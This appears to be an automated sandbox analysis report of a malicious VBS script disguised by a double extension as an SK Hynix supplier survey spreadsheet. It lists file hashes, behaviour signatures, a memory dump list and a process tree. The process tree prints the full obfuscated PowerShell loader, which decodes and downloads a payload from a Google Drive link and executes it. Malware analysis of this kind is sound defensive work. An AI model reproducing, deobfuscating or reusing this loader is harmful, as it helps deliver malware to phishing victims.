Overview

overview

8

Static

static

1

[SK하이�...sx.vbs

windows7-x64

8

[SK하이�...sx.vbs

windows10-2004-x64

8

Analysis

  • max time kernel
    95s
  • max time network
    204s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/09/2024, 06:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    [SK하이닉스 청주] 2024년 하반기 협력사 예비조사표·xlsx.vbs

  • Size

    34KB

  • MD5

    e620cf121302720bcc2bced9953b5310

  • SHA1

    08c5e4e7ade83aa1ca0e44602500c70c08e08fd0

  • SHA256

    1823afc82141af0735636fd334827d13575a961d43177f0a07bff2277493a7db

  • SHA512

    60d76df2e1973553cb18c382b2d25e7021665e0d99332120905379dd6a8ad6e9ecff49f48dda0217d5af770fa4720830ae19c7ae64b5dbeb8ea312d448da632c

  • SSDEEP

    384:Z9vOg34bR4PQ7c1B2ZzjtuIUbeN7b14Jeg0RMj/yuBxwTtrcCLb0JvrbOYFFvUCs:Zp34KP8cAMSl4OMvLUtAqyOYjcU0

Score
8/10
execution

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\[SK하이닉스 청주] 2024년 하반기 협력사 예비조사표·xlsx.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1396
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sammensparende Reinstituted Olympiaden Verdensopinionens Afhndelsessummernes #>;$Telepolitiske235='Retskrivningsreformers';<#Drof Sorglsest beefaloes dirkende Blame Bredbaandssatellittens Bnfaldelse #>;$Eclats=$host.PrivateData;If ($Eclats) {$Kirkeklokke++;}function Frikirkers81($Jambernes){$Forgribelsers=$Jambernes.Length-$Kirkeklokke;for( $Berettigelsen=5;$Berettigelsen -lt $Forgribelsers;$Berettigelsen+=6){$Convolutional+=$Jambernes[$Berettigelsen];}$Convolutional;}function analcite($Pladsholderreferencers){ & ($Retrolental) ($Pladsholderreferencers);}$Spermic=Frikirkers81 'UnsinMCon ooA tomz achiiFlygtl LactlS udgaUds,l/,rkst5 Sinc. Vise0Barto Po ci(NymaaW mrreiAc.opnBas adsinusoUnbisw Beats Tuno ForbyNhalvaTSkri Osteo1Knigh0Bramb.Clatc0Mandr;K mpe NothoWPrisniDebennBootb6G,uti4Rans.; Risa Bi tixTradi6 Stor4Unres; Alau BalsarStyggv isco:Be,an1H,nge2Natio1Succi. inci0 dsc)Refra ClockG Rea eBouffcEnchakB.lluo B.nz/toolr2 Skjo0Disse1S,riv0Dupli0 Ecb.1Bedra0M dia1Unsub PrivaFUn uliDyk erSomereAf.gtffilmsoSe ifx Tilk/Krop.1Skokr2 Upar1Dalma.Unadd0Kvali ';$Linjefring=Frikirkers81 'Lum yUGrundsVideoEMultirTagr -DaghoABra hGArgutE ekstnfolket Popl ';$Rangsperson218=Frikirkers81 'UlstehSp,rotDemictMusikpTiljusUns.o:forbu/St kk/.emkrdIngenr Uan iLreb vBajoneklynk.Al axg BalmounaxioForb gCorallmisceeFlerv.ForefcS mmeo .darm Dark/Kreppu pndscMiden?BobeseKrydsxAmts,pju.ico Mordr Immut Akti=NavnedHje noF stlwBikernKapaclMili.oSubfoaDend dBonsa&Hus,ri m std Phy =e.tro1Hydr POphr M Pre K nddrQ PseuVMulti9La se4Desc.ICongeNBygniW ilieOHeter4MatriiCykelyPag bv ommeMAirw,aS rellDeb tcUn,xaNTndemE Hyp GNega 9 ResikFilmffRupi zencomXDrukthStrobdPurli7 ettcMossbhUn ti ';$Patined=Frikirkers81 'A.tmu>P inc ';$Retrolental=Frikirkers81 ' ToneIToejlEOutwaXMulti ';$jinsing='Skvisning';$Feltspecifikationsvinduets = Frikirkers81 'TermieAnimacFeldihThr to Muns sex i% Sarca Ph tpFumlepStikldO.skrauforut UnmoaArbej%Civil\R tniBB fale FornnTnkemhkeveliEssayn HypedFrskoeelder. M nuGtriviaBumlebUbero .udog&Se.ti&Nyska ljdeNonsicSmudsh Ka roInsal UforstSemia ';analcite (Frikirkers81 ' Doss$ CoungBaglylDint,oVartebIn,graCummelUnsig:UnderRPlaityDureegOver t Qin eKatalrW.ussnSikkee Se i=Kalve( SelfcsukkemRibbadH,lcy Preco/TheorcNysse Darv$fluctFulamae J,mblSkeentforgasCom ap ndaveOvermcd citi IonifPsychi Flatk FathaCraf,tTykkeiTel fosquinnOmkrysUnevavWa.oniPremonGri ldShagtu,agsve rgatt FilmsPadde) erle ');analcite (Frikirkers81 'Congo$Bart,gCurvelChilooTrellbHa beaSnurrlFun i:konomSBo ustree frUnconi fterd versDokumkSek asAphyleOsteonLimac=Outbl$IllacR FunkaSideknNotodgUnforsLeukopinforeAanderS dersGeitooScmsonRligh2Styre1Herna8 idam.KirkesAuktipUnti lFejlsiDisret,eaco(V vip$TartePHe lea HematNema i fsenn GedeeLectud,epeo)S gsb ');analcite (Frikirkers81 ' nonr[GammaNJourne adetEfter. ontoSKamg,eDete rRavenvcst aiCanancUnbeneCentrP pecio nowiDekorn TrkatVel eM uralaShophncurara SpargK lrte S mpr Besl]Hyrac:Untal:Stin S Dri eDiskucEpideu A.phrStorkiSlutttTryinyPhospPLi thrVeld,o Copet RelioThreacTestuoatelilInner Maane= Poly Baliz[Mi deNTempeeKidditTelef. SelvSThermeS bjuc BevruRabi,r orfiiiltf t.mpedyInterP Besvr,kskloFo,sktHaardoSomnocAsteroTeetolVowelTE triyTranspSegreeHonor]skrms: Emis:HeptoT egnslPaatasAlfad1 Lavt2Sttte ');$Rangsperson218=$Stridsksen[0];$kraftigst= (Frikirkers81 'Swapp$eglatgAlsidlJubeso epoB aggANe.leLS ste:conglN NatrA C.mbaG,ottlF.lesES udesascri= Sar NfallieC,verWOver.-salpiOPhth bEfterJShariEMen cc SkrutTr,ll PaleosOpsamyForans mictTDispoEOutstm Gge..CentrnDraweeSrgertTom e.IneffwVandoETjlesBLinenCLapwilCendriSwinbeFe tinBrnevT');$kraftigst+=$Rygterne[1];analcite ($kraftigst);analcite (Frikirkers81 'Optic$KontoNnacara PokkaMembelHermaeRaa ks Decn. Ube H R seeAvisuaUdlyddMa kee rmier Tarss knop[Alaba$IkrafLi.teli Bel nDenotjCorrie yndsfR.regrBybe iRooinnRulabgFirma]Dyrev= Prve$U hoaSReavipOssetephenor stramRedowiUnke cSp.en ');$Tenantship=Frikirkers81 'Tran $ DiskNGeoidaKaaluaTevarlS,roge Und,s Grun.Semi.DArgenoHarpsw CatanKordolcelleoKordnaL vitdCre mFGluttiSpt.elCopteeSk dc( Ke n$cruorRDo.piaFiskencoinhgIntersF rdepSkuereBroforOpregsFaunao OvernKontr2La.tl1 Comm8Ph ll,fy de$somm.E U rgl AccoiMen tgEchare dvir toreH rnfn ettodHensyeKh.nk) Hypo ';$Eligerende=$Rygterne[0];analcite (Frikirkers81 'Un it$DeorgGOttekl.eralO Unbibgoo naTrafiLHolib:HovedtQuercEDukkeASubaxsAuscuPDandioKandioOverinA atrFBewh UKontoLdatabS egem=me.er(JuggltDaginECalorSLgeerT cand-Oop yPRespiaSttt T ejlhHal,s .ylla$Kupere CapiLEndopichandgMan,hepilosRP ddlEBeskynFejltDHexpaE Tek,) Rewo ');while (!$Teaspoonfuls) {analcite (Frikirkers81 's,lum$ThrifgMartilforeboi nizbFasteablodplI.teg:SnappSUdlaauStinkbTromlbSter aFysiks Caus=Arai $Unblothalvbr eomfuT,mineAntje ') ;analcite $Tenantship;analcite (Frikirkers81 'OkkupS Bestt PessaStro.rBldagtTocca-D,magSHandelUndereSydafeBundrpAflnn Reale4Singl ');analcite (Frikirkers81 'Vol.t$GrsrogHousal,ydnioBeregbyowttaAtelilHarsh:o thoTCopyiePropiaStorbs,lthipVoldeotropho AlsinUrn hf liphuHjlpelFla,ksOpera=Chum.(ForprTInduke Hin sUrentt Mcen-CartiP Sympa Nonft Gub h nels skraa$Kolo ECrystl.narci Tur gAnn.meGlumar ExteeStrennAzonid CuboeSalu )Rkebi ') ;analcite (Frikirkers81 'Pisti$ Var.gHaa dlmedleoAr,ywbCit oa Blisl aci:TadpoNHemiha dhupTol.pr StenaSphinpVendiaStenbtL genhForsg=Unds,$TerragScenslLs.oloToparbChantaHernslNamet:DepopsFer onHea,to PalawPastosP egauSheepiBelaytjaundstur s+Proto+A.tru%Prec,$Tegu S ManitThirtr.ejeciF,rsadTandss rer k OversRingbeVur,enDoct..Un ercOmridoKommeuO ordnunfedt Ant, ') ;$Rangsperson218=$Stridsksen[$Naprapath];}$Wretchock=308440;$Moyer249=28198;analcite (Frikirkers81 'Wande$IntergUdsvelUnderoRfaerbAer.aaNoserlCandi:UnifoF Subgain,omtDggesaFngselP.obltJordf Fl m=Kvast AcariG urg.eblotlt reto-roed C,erneoUn ernG ardtCan ze nhednPoloit Svid Termi$Graf.EAc inlDistiiBlokkgElleneSluddrAlacreisafknCa dsdRegrae Opfe ');analcite (Frikirkers81 ' Weev$ nledgorderlSchweo Aktibrrlgna.triklMulch:re.akDOxidaeFetism NoumuCu marCoot,r svariHa den Ov rgGeder Strat=Album Frem [Ko reS Ud uyFolkesEnogttScraweProgrmUnw n.O proCTilbaoRuss nTumulvCreameAnt.sr Du ptguard]Geot,:uldga:OffscFReme r A.oso B,mbmFaldeBDica aFu,ktsCoulreSel,m6 Gius4NippeSsquawtMastorSkmtsi HandnValerg Selv(ineq $RendtF SvabaL,quit lougaBus hl Gr atA,dit)Forde ');analcite (Frikirkers81 'Defin$Piro g Heibl dminoSystebTactuaSatsblTvang:ImpugPLeaguoToothuT,kstcDislehFordreStrmpsNarko Dk of=Fi.na Overw[TappeSTea eyPodelslig itBr.ddePro emConve.Te arTSengeeAftesxPharmtForbr. euphERegnenLedelcJaboto nstdOmniniTermin Myelg dagl]skole:Fedts:AndenAA hesS AspaCUn isISi erI Circ.NondiGXerape p.ottGnidnSSukketUnmitr ecuribeskenBlkhugUnfur( lter$,ereaDData.eSymmemLsekruStallrDeve rThys iinternButikg ence)Lnfor ');analcite (Frikirkers81 'Roper$Ov,rsgHumphl,cleroAnke.bbrndsa Ambal mbra:staffPErhverC,romsAut mtHviskeUnd.rv rappiXyridePr fl=brand$PreexPStyggoPoulauAs.nec MonghDev teH,telsFork .PardasForunuOvergbhon rsop ost TimirUglifi GgesnSidesgBagde(Aand $Sacr WRovfurTsni,e P,pytOrthocoptaghTor eosamlecjugglkVold.,Edito$EnactMGalakoAandiySurrieAysovrBakni2weath4Loger9Umisk) Snee ');analcite $Prstevie;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:912
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Benhinde.Gab && echo t"
        3⤵
          PID:1976

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jz4dyaye.42t.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/912-0-0x00007FFE64BA3000-0x00007FFE64BA5000-memory.dmp

      Filesize

      8KB

      Download

    • memory/912-1-0x000001DA05620000-0x000001DA05642000-memory.dmp

      Filesize

      136KB

      Download

    • memory/912-11-0x00007FFE64BA0000-0x00007FFE65661000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/912-12-0x00007FFE64BA0000-0x00007FFE65661000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/912-15-0x00007FFE64BA0000-0x00007FFE65661000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/912-16-0x00007FFE64BA0000-0x00007FFE65661000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/912-19-0x00007FFE64BA0000-0x00007FFE65661000-memory.dmp

      Filesize

      10.8MB

      Download